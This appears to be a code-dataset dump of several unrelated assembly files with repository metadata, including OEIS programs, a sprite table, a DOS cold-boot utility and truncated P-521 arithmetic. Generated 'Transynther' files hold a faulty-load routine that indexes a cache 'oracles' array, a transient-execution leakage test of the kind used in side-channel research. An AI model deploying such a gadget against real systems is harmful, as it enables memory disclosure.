32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
31.53937
2,999
0.653976
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1367.asm
8,011
Assembly
4
dc.w AniTails2P_Tail00-AniTails2P_Tail dc.w AniTails2P_Tail01-AniTails2P_Tail dc.w AniTails2P_Tail01-AniTails2P_Tail dc.w AniTails2P_Tail03-AniTails2P_Tail AniTails2P_Tail00:dc.b $20, 0, $FF AniTails2P_Tail01:dc.b 7, 1, 2, 3, $FF AniTails2P_Tail03:dc.b $FC, 4, 5, 6, $FF even
33.888889
47
0.727869
[ "Apache-2.0" ]
NatsumiFox/AMPS-Sonic-3-Knuckles
General/Sprites/Tails/Anim - Tails 2P Tail.asm
305
Assembly
4
; A047580: Numbers that are congruent to {1, 2, 5, 6, 7} mod 8. ; 1,2,5,6,7,9,10,13,14,15,17,18,21,22,23,25,26,29,30,31,33,34,37,38,39,41,42,45,46,47,49,50,53,54,55,57,58,61,62,63,65,66,69,70,71,73,74,77,78,79,81,82,85,86,87,89,90,93,94,95,97,98,101,102,103,105,106,109,110,111,113,114,117,118,119,121,122,125,126,127,129,130,133,134,135,137,138,141,142,143,145,146,149,150,151,153,154,157,158,159,161,162,165,166,167,169,170,173,174,175,177,178,181,182,183,185,186,189,190,191,193,194,197,198,199,201,202,205,206,207,209,210,213,214,215,217,218,221,222,223,225,226,229,230,231,233,234,237,238,239,241,242,245,246,247,249,250,253,254,255,257,258,261,262,263,265,266,269,270,271,273,274,277,278,279,281,282,285,286,287,289,290,293,294,295,297,298,301,302,303,305,306,309,310,311,313,314,317,318,319,321,322,325,326,327,329,330,333,334,335,337,338,341,342,343,345,346,349,350,351,353,354,357,358,359,361,362,365,366,367,369,370,373,374,375,377,378,381,382,383,385,386,389,390,391,393,394,397,398,399 mov $1,$0 add $1,3 mul $1,2 mov $0,$1 lpb $0,1 trn $0,2 trn $2,$0 trn $0,1 mov $1,$0 add $2,$0 trn $0,2 lpe trn $1,1 add $1,2 add $2,2 add $1,$2 sub $1,6
55.47619
933
0.691845
[ "Apache-2.0" ]
karttu/loda
programs/oeis/047/A047580.asm
1,165
Assembly
4
; coldboot.asm name coldboot DGROUP group _TEXT,CONST,_DATA,_BSS,STACK _TEXT segment para public 'CODE' assume cs:_TEXT,ds:nothing,es:nothing,ss:nothing org 100h _start proc far ; Check for being loaded org 0 instead of 100h l001: call l002 dw 0,0 l002: pop bx cmp bx,(offset l002)-100h ; Is it 100h off? jnz l003 cmp bx,offset l002 ; Is it correct? jz l004 ; If not, don't l005: hlt ; continue jmp l005 l004: sub bx,4 mov word ptr cs:[bx],offset l001 mov ax,cs sub ax,10h ; Move 10h paragraphs back (100h bytes) mov cs:[bx+2],ax jmp dword ptr cs:[bx] l003: ; Set up our own stack mov dx,cs mov bx,offset _stack_top cli mov ss,dx assume ss:DGROUP mov sp,bx mov ax,0f202h ; V0 D0 I1 T0 S0 Z0 A0 P0 C0 push ax popf mov es,dx assume es:DGROUP ; Wipe out from stack end through next 64kB boundary mov di,offset _stack_end ; If stack top isn't paragraph aligned, wipe out the ; rest of the paragraph first mov al,'@' align_para: test di,0fh jnz stack_aligned stosb ; Check for crossing a 64kB boundary or di,di jnz align_para add dx,1000h mov es,dx jmp align_para ; ES:DI is now paragraph aligned, so normalise ES:DI ; to ES:0. stack_aligned: mov cx,es shr di,1 shr di,1 shr di,1 shr di,1 add cx,di mov es,cx xor di,di ; Now compute how many paragraphs until the next ; 64kB bank. and cx,0fffh ; Turn number of paragraphs into words (* 8). shl cx,1 shl cx,1 shl cx,1 ; Blank out the rest of the bank. mov ax,2524h ; '$#' rep stosw ; Normalise ES:DI again. It will be on a bank ; boundary. mov ax,es and ax,0f000h next_bank: add ax,1000h mov es,bx xor di,di cmp ax,0c000h jae banks_done mov cx,8000h ; Store 32k words mov ax,2726h ; '%^' rep stosw mov ax,es jmp next_bank banks_done: ; If we have our signature at 472h, just ; execute int 67h to return to the monitor. ; This catches if attemptes to cold boot ; result in immediately running this program ; again. xor ax,ax mov ds,ax mov bx,472h mov dx,0beefh cmp ds:[bx],dx jne do_coldboot ; Get rid of our signature mov ds:[bx],ax xor ax,ax int 67h int 20h ret do_coldboot: ; Otherwise, try to cold boot mov ds:[bx],dx ; Clear out a 1234h signature ret _start endp _TEXT ends CONST segment para public 'CONST' CONST ends _DATA segment para public 'DATA' _DATA ends _BSS segment para public 'BSS' _BSS ends ; Stack is 256 bytes STACK segment para stack 'STACK' db 30 dup ('STACK!!!') ; dw 0,-1,0f202h ; equivalent to JMP FAR 0FFFFh:0 _stack_top equ $ db 'STACK!!!' _stack_end equ $ db 'STACKEND' ; Pattern afer this will be '@@@@#$#$#$#$%^%^%^' STACK ends end _start
32.300699
71
0.39987
[ "MIT" ]
JoshRodd/HOWARD
xt/src/coldboot.asm
4,619
Assembly
4
; A210958: Decimal expansion of 1 - (Pi/4). ; Submitted by Jon Maiga ; 2,1,4,6,0,1,8,3,6,6,0,2,5,5,1,6,9,0,3,8,4,3,3,9,1,5,4,1,8,0,1,2,4,2,7,8,9,5,0,7,0,7,6,5,0,1,5,6,2,2,3,5,4,4,7,5,6,2,6,3,8,5,1,9,2,3,0,4,5,8,9,8,4,2,8,4,4,7,7,5,0,3,4,2,9,9,1 add $0,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,3 mul $2,$5 add $1,$2 div $1,$0 div $2,$0 sub $3,1 lpe div $1,6 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
17.333333
175
0.521368
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/210/A210958.asm
468
Assembly
4
; A004562: Expansion of sqrt(5) in base 9. ; Submitted by Jamie Morken(s2) ; 2,2,1,1,0,7,5,1,7,3,2,4,6,2,4,0,7,4,0,7,7,6,3,5,5,8,2,6,2,3,8,0,3,4,6,1,5,0,3,4,6,0,8,4,7,1,4,5,7,7,6,0,6,2,5,0,0,7,4,0,6,7,6,6,5,7,5,6,7,6,0,6,4,5,0,4,3,8,4,1,6,8,5,0,1,5,0,1,1,6,6,5,8,6,0,1,0,0,7,5 mov $1,1 mov $2,1 mov $3,$0 add $3,2 mov $4,$0 add $4,2 mul $4,2 mov $7,10 pow $7,$4 lpb $3 mov $4,$2 pow $4,2 mul $4,5 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,1 div $1,$8 div $2,$8 sub $3,1 mov $9,9 lpe mov $3,$9 pow $3,$0 div $2,$3 div $1,$2 mod $1,$9 mov $0,$1
16.075
201
0.508554
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/004/A004562.asm
643
Assembly
4
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xc62f, %rsi lea addresses_normal_ht+0xb22f, %rdi clflush (%rsi) nop nop nop add $60111, %r11 mov $3, %rcx rep movsb nop add $39404, %rdi lea addresses_normal_ht+0x11f2f, %r14 nop cmp $17611, %rbp mov $0x6162636465666768, %rax movq %rax, %xmm2 and $0xffffffffffffffc0, %r14 vmovntdq %ymm2, (%r14) nop nop xor %r11, %r11 lea addresses_UC_ht+0xb2f, %rbp nop nop nop and %r14, %r14 mov $0x6162636465666768, %rcx movq %rcx, (%rbp) nop mfence lea addresses_UC_ht+0xa0df, %rsi nop nop nop cmp %rdi, %rdi mov (%rsi), %r11d nop nop add $4261, %r14 lea addresses_normal_ht+0xacef, %rsi nop nop cmp $29527, %rcx movw $0x6162, (%rsi) nop nop nop nop nop inc %rax lea addresses_normal_ht+0x18397, %rsi lea addresses_A_ht+0xc253, %rdi nop nop nop nop xor $15133, %rbx mov $76, %rcx rep movsq nop nop nop xor %rbx, %rbx lea addresses_D_ht+0x1f2f, %rsi lea addresses_WT_ht+0x1554f, %rdi nop nop and %r14, %r14 mov $105, %rcx rep movsw nop nop nop nop add %rdi, %rdi lea addresses_WT_ht+0x18b37, %rsi lea addresses_A_ht+0x1d9f3, %rdi clflush (%rdi) dec %r11 mov $68, %rcx rep movsl nop nop inc %rdi lea addresses_WC_ht+0xeb9f, %rbp nop nop nop sub %r11, %r11 vmovups (%rbp), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rax nop sub $44549, %rsi lea addresses_WT_ht+0x4eaf, %rdi nop nop nop dec %rsi mov $0x6162636465666768, %r14 movq %r14, %xmm1 movups %xmm1, (%rdi) nop lfence lea addresses_WT_ht+0xd2b8, %r11 nop xor %rax, %rax movl $0x61626364, (%r11) nop nop nop and %r14, %r14 lea addresses_normal_ht+0x5f2f, %rsi lea addresses_WC_ht+0x15e2f, %rdi nop nop nop nop nop and $58258, %rbp mov $78, %rcx rep movsw nop nop nop nop nop cmp $19645, %rsi lea addresses_D_ht+0x18d5f, %rsi nop nop nop nop and $26959, %rax mov $0x6162636465666768, %rbp movq %rbp, %xmm3 movups %xmm3, (%rsi) nop nop nop xor %r14, %r14 lea addresses_UC_ht+0xa12f, %rsi lea addresses_UC_ht+0x1866f, %rdi nop and %r11, %r11 mov $53, %rcx rep movsq nop add %rbx, %rbx lea addresses_normal_ht+0x24f3, %rsi lea addresses_D_ht+0x8b2f, %rdi nop nop nop nop and $30460, %r14 mov $58, %rcx rep movsq nop nop nop inc %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %rbx push %rdi push %rsi // Store lea addresses_normal+0x1006f, %r10 nop nop cmp $20850, %r13 mov $0x5152535455565758, %rsi movq %rsi, %xmm7 vmovups %ymm7, (%r10) nop nop and %r10, %r10 // Faulty Load lea addresses_D+0x8f2f, %r12 nop nop nop nop dec %rbx movups (%r12), %xmm1 vpextrq $0, %xmm1, %r13 lea oracles, %r10 and $0xff, %r13 shlq $12, %r13 mov (%r10,%r13,1), %r13 pop %rsi pop %rdi pop %rbx pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
32.988142
2,999
0.662832
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2118.asm
8,346
Assembly
4
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text p521r1_data: _prime521r1: .long 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF .long 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF .long 0x1FF .p2align 5, 0x90 .globl add_521 .type add_521, @function add_521: movl (%esi), %eax addl (%ebx), %eax movl %eax, (%edi) movl (4)(%esi), %eax adcl (4)(%ebx), %eax movl %eax, (4)(%edi) movl (8)(%esi), %eax adcl (8)(%ebx), %eax movl %eax, (8)(%edi) movl (12)(%esi), %eax adcl (12)(%ebx), %eax movl %eax, (12)(%edi) movl (16)(%esi), %eax adcl (16)(%ebx), %eax movl %eax, (16)(%edi) movl (20)(%esi), %eax adcl (20)(%ebx), %eax movl %eax, (20)(%edi) movl (24)(%esi), %eax adcl (24)(%ebx), %eax movl %eax, (24)(%edi) movl (28)(%esi), %eax adcl (28)(%ebx), %eax movl %eax, (28)(%edi) movl (32)(%esi), %eax adcl (32)(%ebx), %eax movl %eax, (32)(%edi) movl (36)(%esi), %eax adcl (36)(%ebx), %eax movl %eax, (36)(%edi) movl (40)(%esi), %eax adcl (40)(%ebx), %eax movl %eax, (40)(%edi) movl (44)(%esi), %eax adcl (44)(%ebx), %eax movl %eax, (44)(%edi) movl (48)(%esi), %eax adcl (48)(%ebx), %eax movl %eax, (48)(%edi) movl (52)(%esi), %eax adcl (52)(%ebx), %eax movl %eax, (52)(%edi) movl (56)(%esi), %eax adcl (56)(%ebx), %eax movl %eax, (56)(%edi) movl (60)(%esi), %eax adcl (60)(%ebx), %eax movl %eax, (60)(%edi) movl (64)(%esi), %eax adcl (64)(%ebx), %eax movl %eax, (64)(%edi) mov $(0), %eax adc $(0), %eax ret .Lfe1: .size add_521, .Lfe1-(add_521) .p2align 5, 0x90 .globl sub_521 .type sub_521, @function sub_521: movl (%esi), %eax subl (%ebx), %eax movl %eax, (%edi) movl (4)(%esi), %eax sbbl (4)(%ebx), %eax movl %eax, (4)(%edi) movl (8)(%esi), %eax sbbl (8)(%ebx), %eax movl %eax, (8)(%edi) movl (12)(%esi), %eax sbbl (12)(%ebx), %eax movl %eax, (12)(%edi) movl (16)(%esi), %eax sbbl (16)(%ebx), %eax movl %eax, (16)(%edi) movl (20)(%esi), %eax sbbl (20)(%ebx), %eax movl %eax, (20)(%edi) movl (24)(%esi), %eax sbbl (24)(%ebx), %eax movl %eax, (24)(%edi) movl (28)(%esi), %eax sbbl (28)(%ebx), %eax movl %eax, (28)(%edi) movl (32)(%esi), %eax sbbl (32)(%ebx), %eax movl %eax, (32)(%edi) movl (36)(%esi), %eax sbbl (36)(%ebx), %eax movl %eax, (36)(%edi) movl (40)(%esi), %eax sbbl (40)(%ebx), %eax movl %eax, (40)(%edi) movl (44)(%esi), %eax sbbl (44)(%ebx), %eax movl %eax, (44)(%edi) movl (48)(%esi), %eax sbbl (48)(%ebx), %eax movl %eax, (48)(%edi) movl (52)(%esi), %eax sbbl (52)(%ebx), %eax movl %eax, (52)(%edi) movl (56)(%esi), %eax sbbl (56)(%ebx), %eax movl %eax, (56)(%edi) movl (60)(%esi), %eax sbbl (60)(%ebx), %eax movl %eax, (60)(%edi) movl (64)(%esi), %eax sbbl (64)(%ebx), %eax movl %eax, (64)(%edi) mov $(0), %eax adc $(0), %eax ret .Lfe2: .size sub_521, .Lfe2-(sub_521) .p2align 5, 0x90 .globl shl_521 .type shl_521, @function shl_521: push %ecx mov $(13), %ecx pxor %xmm1, %xmm1 .Lshl_loopgas_3: movdqu (%esi), %xmm0 movdqa %xmm0, %xmm2 add $(16), %esi palignr $(8), %xmm1, %xmm2 movdqa %xmm0, %xmm1 psllq $(1), %xmm0 psrlq $(63), %xmm2 por %xmm2, %xmm0 movdqu %xmm0, (%edi) add $(16), %edi sub $(4), %ecx jg .Lshl_loopgas_3 movd (%esi), %xmm0 palignr $(12), %xmm1, %xmm0 psllq $(1), %xmm0 psrldq $(4), %xmm0 movd %xmm0, (%edi) sub $(64), %esi sub $(64), %edi pop %ecx xor %eax, %eax ret .Lfe3: .size shl_521, .Lfe3-(shl_521) .p2align 5, 0x90 .globl shr_521 .type shr_521, @function shr_521: movl (64)(%esi), %eax push %ecx mov $(9), %ecx .Lshr_loopgas_4: movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 palignr $(8), %xmm0, %xmm1 add $(16), %esi psrlq $(1), %xmm0 psllq $(63), %xmm1 por %xmm1, %xmm0 movdqu %xmm0, (%edi) add $(16), %edi sub $(4), %ecx jg .Lshr_loopgas_4 pop %ecx movdqu (%esi), %xmm0 movd %eax, %xmm1 palignr $(8), %xmm0, %xmm1 psrlq $(1), %xmm0 psllq $(63), %xmm1 por %xmm1, %xmm0 movdqu %xmm0, (%edi) shr $(1), %eax movl %eax, (16)(%edi) sub $(24), %esi sub $(24), %esi ret .Lfe4: .size shr_521, .Lfe4-(shr_521) .p2align 5, 0x90 .globl p521r1_add .type p521r1_add, @function p521r1_add: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(72), %esp and $(-16), %esp movl %eax, (68)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %ebx call add_521 mov %eax, %edx lea (%esp), %edi movl (8)(%ebp), %esi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call sub_521 lea (%esp), %esi movl (8)(%ebp), %edi sub %eax, %edx cmovne %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov (68)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe5: .size p521r1_add, .Lfe5-(p521r1_add) .p2align 5, 0x90 .globl p521r1_sub .type p521r1_sub, @function p521r1_sub: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(72), %esp and $(-16), %esp movl %eax, (68)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %ebx call sub_521 mov %eax, %edx lea (%esp), %edi movl (8)(%ebp), %esi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call add_521 lea (%esp), %esi movl (8)(%ebp), %edi test %edx, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov (68)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe6: .size p521r1_sub, .Lfe6-(p521r1_sub) .p2align 5, 0x90 .globl p521r1_neg .type p521r1_neg, @function p521r1_neg: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(72), %esp and $(-16), %esp movl %eax, (68)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi mov $(0), %eax subl (%esi), %eax movl %eax, (%edi) mov $(0), %eax sbbl (4)(%esi), %eax movl %eax, (4)(%edi) mov $(0), %eax sbbl (8)(%esi), %eax movl %eax, (8)(%edi) mov $(0), %eax sbbl (12)(%esi), %eax movl %eax, (12)(%edi) mov $(0), %eax sbbl (16)(%esi), %eax movl %eax, (16)(%edi) mov $(0), %eax sbbl (20)(%esi), %eax movl %eax, (20)(%edi) mov $(0), %eax sbbl (24)(%esi), %eax movl %eax, (24)(%edi) mov $(0), %eax sbbl (28)(%esi), %eax movl %eax, (28)(%edi) mov $(0), %eax sbbl (32)(%esi), %eax movl %eax, (32)(%edi) mov $(0), %eax sbbl (36)(%esi), %eax movl %eax, (36)(%edi) mov $(0), %eax sbbl (40)(%esi), %eax movl %eax, (40)(%edi) mov $(0), %eax sbbl (44)(%esi), %eax movl %eax, (44)(%edi) mov $(0), %eax sbbl (48)(%esi), %eax movl %eax, (48)(%edi) mov $(0), %eax sbbl (52)(%esi), %eax movl %eax, (52)(%edi) mov $(0), %eax sbbl (56)(%esi), %eax movl %eax, (56)(%edi) mov $(0), %eax sbbl (60)(%esi), %eax movl %eax, (60)(%edi) mov $(0), %eax sbbl (64)(%esi), %eax movl %eax, (64)(%edi) sbb %edx, %edx lea (%esp), %edi movl (8)(%ebp), %esi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call add_521 lea (%esp), %esi movl (8)(%ebp), %edi test %edx, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) 